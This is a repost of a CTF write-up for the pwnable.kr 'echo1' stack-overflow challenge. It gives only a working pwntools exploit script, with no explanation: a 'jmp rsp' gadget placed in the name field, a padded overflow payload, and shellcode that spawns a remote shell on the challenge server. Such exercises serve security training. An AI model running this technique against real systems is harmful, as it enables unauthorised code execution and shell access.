码迷,mamicode.com
首页 > 其他好文 > 详细

pwnable.kr-echo1-Writeup

时间:2017-09-03 18:46:15      阅读:143      评论:0      收藏:0      [点我收藏+]

标签:hex   logs   int   ble   inter   utf-8   text   close   debug   

pwnable的echo1,一个栈溢出的漏洞,同样以后再补上分析过程和思路,先放exp

 1 #!/usr/bin/env python
 2 # -*- coding: utf-8 -*-
 3 __Auther__ = ‘M4x‘
 4 
 5 from pwn import *
 6 context.arch = ‘amd64‘
 7 context.os = ‘linux‘
 8 context.log_level = ‘debug‘
 9 
10 elf = ELF(‘./echo1‘)
11 id_addr = elf.symbols[‘id‘]
12 #  print hex(id_addr)
13 jmp = asm(‘jmp rsp‘)
14 shellcode = asm(shellcraft.sh())
15 
16 #  io = process(‘./echo1‘)
17 io = remote(‘pwnable.kr‘, 9010)
18 
19 io.recvuntil(‘name? : ‘)
20 io.sendline(jmp)
21 
22 io.recvuntil(‘> ‘)
23 io.sendline(‘1‘)
24 
25 payload = ‘A‘ * 40 + p64(id_addr) + shellcode
26 io.sendline(payload)
27 
28 io.interactive()
29 io.close()

 


 

pwnable.kr-echo1-Writeup

标签:hex   logs   int   ble   inter   utf-8   text   close   debug   

原文地址:http://www.cnblogs.com/WangAoBo/p/7470304.html

踩
(0)
赞
(0)
   
举报
评论 一句话评论(0)
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!